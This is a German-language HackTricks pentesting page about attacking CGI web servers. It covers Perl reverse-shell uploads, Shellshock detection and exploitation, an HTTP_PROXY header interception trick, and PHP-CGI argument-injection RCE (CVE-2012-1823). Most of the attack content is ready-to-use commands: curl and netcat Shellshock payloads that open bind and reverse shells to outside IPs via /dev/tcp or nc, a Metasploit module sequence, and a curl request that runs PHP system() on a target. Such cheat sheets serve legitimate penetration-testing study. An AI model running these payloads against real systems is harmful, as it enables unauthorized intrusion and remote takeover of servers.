hacktricks/network-services-pentesting/pentesting-web/cgi.md

99 lines
7.1 KiB
Markdown

{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Unterstütze HackTricks</summary>
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}
# Informationen
Die **CGI-Skripte sind Perl-Skripte**, also, wenn du einen Server kompromittiert hast, der _**.cgi**_ Skripte ausführen kann, kannst du **eine Perl-Reverse-Shell hochladen** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **die Erweiterung** von **.pl** in **.cgi** ändern, **Ausführungsberechtigungen** geben \(`chmod +x`\) und die Reverse-Shell **vom Webbrowser aus aufrufen**, um sie auszuführen.
Um nach **CGI-Schwachstellen** zu suchen, wird empfohlen, `nikto -C all` \(und alle Plugins\) zu verwenden.
# **ShellShock**
**ShellShock** ist eine **Schwachstelle**, die die weit verbreitete **Bash**-Befehlszeilen-Shell in Unix-basierten Betriebssystemen betrifft. Sie zielt auf die Fähigkeit von Bash ab, von Anwendungen übergebene Befehle auszuführen. Die Schwachstelle liegt in der Manipulation von **Umgebungsvariablen**, die dynamische benannte Werte sind, die beeinflussen, wie Prozesse auf einem Computer ausgeführt werden. Angreifer können dies ausnutzen, indem sie **schadhafter Code** an Umgebungsvariablen anhängen, der beim Empfang der Variablen ausgeführt wird. Dies ermöglicht es Angreifern, das System potenziell zu kompromittieren.
Durch das Ausnutzen dieser Schwachstelle könnte die **Seite einen Fehler ausgeben**.
Du könntest diese Schwachstelle finden, indem du bemerkst, dass eine **alte Apache-Version** und **cgi\_mod** \(mit cgi-Ordner\) verwendet wird oder indem du **nikto** verwendest.
## **Test**
Die meisten Tests basieren darauf, etwas auszugeben und zu erwarten, dass dieser String in der Webantwort zurückgegeben wird. Wenn du denkst, dass eine Seite anfällig sein könnte, suche nach allen CGI-Seiten und teste sie.
**Nmap**
```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```
## **Curl \(reflektiert, blind und out-of-band\)**
```bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
```
[**Shellsocker**](https://github.com/liamim/shellshocker)
```bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
```
## Exploit
```bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
```
# **Proxy \(MitM zu Webserver-Anfragen\)**
CGI erstellt eine Umgebungsvariable für jeden Header in der HTTP-Anfrage. Zum Beispiel: "host:web.com" wird als "HTTP\_HOST"="web.com" erstellt.
Da die HTTP\_PROXY-Variable vom Webserver verwendet werden könnte, versuchen Sie, einen **Header** zu senden, der enthält: "**Proxy: &lt;IP\_angreifer&gt;:&lt;PORT&gt;**" und wenn der Server während der Sitzung eine Anfrage ausführt, können Sie jede vom Server getätigte Anfrage erfassen.
# Alte PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
Grundsätzlich, wenn cgi aktiv ist und php "alt" \(&lt;5.3.12 / &lt; 5.4.2\) ist, können Sie Code ausführen.
Um diese Schwachstelle auszunutzen, müssen Sie auf eine PHP-Datei des Webservers zugreifen, ohne Parameter zu senden \(insbesondere ohne das Zeichen "="\).
Um diese Schwachstelle zu testen, könnten Sie beispielsweise auf `/index.php?-s` zugreifen \(beachten Sie das `-s`\) und **der Quellcode der Anwendung wird in der Antwort angezeigt**.
Um **RCE** zu erhalten, können Sie diese spezielle Abfrage senden: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` und den **PHP-Code**, der im **Body der Anfrage** ausgeführt werden soll.
**Beispiel:**
```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```
**Weitere Informationen über die Schwachstelle und mögliche Exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Beispiel**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Unterstütze HackTricks</summary>
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}